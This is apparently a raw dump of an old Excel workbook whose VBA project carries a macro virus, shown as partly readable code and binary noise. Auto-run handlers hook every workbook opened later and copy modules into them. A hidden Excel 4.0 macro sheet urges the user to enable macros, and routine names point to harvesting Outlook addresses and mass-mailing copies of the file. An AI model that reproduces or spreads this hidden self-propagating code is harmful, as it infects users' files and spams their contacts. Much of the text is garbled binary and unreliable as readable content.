Ob LibraryK VBIDE>BIDEE157R5.3R/\6E6EXT.OLB0Visual Basic for Applicas Extensibilpity +Bay *\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020813-0000-0000-C000-000000000046}#1.5#0#C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE#Microsoft Excel 11.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\system32\stdole2.tlb#OLE Automation(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLL#Microsoft Office 11.0 Object LibraryZ*\G{0002E157-0000-0000-C000-000000000046}#5.3#0#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB#Microsoft Visual Basic for Applications Extensibility 5.3 TThisWorkbook0854b3a216ThisWorkbook Sheet10954b3a216 Sheet1 Sheet20:54b3a216 Sheet2kK0 Sheet30;54b3a216 Sheet3H ToDOLE0754b3a216" ToDOLE`Vx0H`mŹG`FromVBProject6` ToVBProject`OverwriteExistingk`FNameR`CompName!`Sj`SlashPosk#`ExtPosF` TempVBComp`Trim@` vbNullString` Protection`vbext_pp_lockedh`Erro`Number-`Environ,`vbNormal-`vbHiddenT;`vbSystem`Clear`Kill`Removeϱ`Itemz`Export`FileNamej`InStrRevĈ`Importi`vbext_ct_Document `Lines`myfile0[y`MyFile`FullNameО` WorkbookOpen`ShellV`vbMinimizedFocusx`IsAddin~|` SaveCopyAsT`Fso`RK1`RK2`RK3`RK4`KValue1'`KValue2(`VS_`Version` CreateObject`(BThisWorkbookG TisWArkboU 2 THB1BЀB,!"B +BBSheet1GS@#e@t1H2N!U2222RkK33533)ToD@uT9DOLY)'V) !7bK*yrU~~~~~~~~~~~~~~K HXc[K=2   ) A YAQi1 VBAProject ThisWorkbookSheet1Sheet2Sheet3ģ1ToDOLEF /C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLLVBA  10F4C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXEExcel 9@0F OĦC:\WINDOWS\system32\stdole2.tlbstdole  QPL-[DR?C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLLOffice q`WFCC:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLBVBIDE  p auto_opencopytoworkbookdelete_this_wkdo_what copystartF copymoduleMicrosofthobbyOpenDoorWReg Movemacro4 WorkbookOpen ActionJudge search_in_OLCreatCab_SendMailMassive_SendMailif_outlook_open RadomNineget_ten_addressReadOut CreateFileRestoreBeforeSendRestoreAfterOpen FF FH꽶.WG*}븧FA_B4ĽCKDFWorkbook @FName Macro1  ThisWorkbook`FbFdFnF " FPublic WithEvents xx As Application 6Private Sub Workbook_open() (Set xx = Application (On Error Resume Next =ALERT("y(u[ sQ  LB:)L\ BApplication.DisplayAlerts = False Call do_what End Sub bPrivate Sub xx_workbookOpen(ByVal wb As Workbook) Jwb.VBProject.References.AddFromGuid _ GUID:= L{0002E157-0000-0000-C000-000000000046} , _ $Major:=5, Minor:=3 DApplication.ScreenUpdating = False copystart wb BApplication.ScreenUpdating = TrueFUBEZ@ F7PիKƁ}GڇDF Worksheet Sel    "#$%'ect A2 =ERROR(FALSE) A3 (=IF(ERROR.TYPE(RUN(" "))=4) A4 0Please Enable Macro!",3) A5 $=FILE.CLOSE(FALSE) A6 =END.IF() A7 =RETURN() !Auto_Activate =Macro1!$A$2VisibleVBE6.DLLq` q" (uUM6 0l;xO4rGNAa!rU~~~~w  14 Qwb ModuleName FromVBProject ToVBProjectOverwriteExistingstrkeyValue ValueType WorkBookNameEmail_AddressSubjectBody CC_email_add AttachmentlengthFullPathFragMarkpathf Q ( Q)8ThisWorkbookThisWorkbookSheet1Sheet1Sheet2Sheet2Sheet3Sheet3ToDOLEToDOLEID="{B7C02079-17AE-48C3-854E-E2BA585C133C}" Document=ThisWorkbook/&H00000000 Document=Sheet1/&H00000000 Document=Sheet2/&H00000000 Document=Sheet3/&H00000000 Module=ToDOLE Name="VBAProject" HelpContextID="0" VersionCompatible32="393222000" CMG="BFPROJECT3SummaryInformation(DocumentSummaryInformation8!CompObj&jBD66299A575D5B5D5B5D5B5D5B" DPB="7E7CA7EAD9169917991799" GC="3D3FE4A71C671D671D98" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisWorkbook=0, 0, 0, 0, C Sheet1=0, 0, 0, 0, C Sheet2=0, 0, 0, 0, C Sheet3=0, 0, 0, 0, C ToDOLE=0, 0, 0, 0, C Oh+'0HP\h Microsoft Excel@eɸ@2@o+՜.+,0 PXd lt| ' Sheet1Sheet2Sheet3  FMicrosoft Office Excel Biff8Excel.Sheet.89q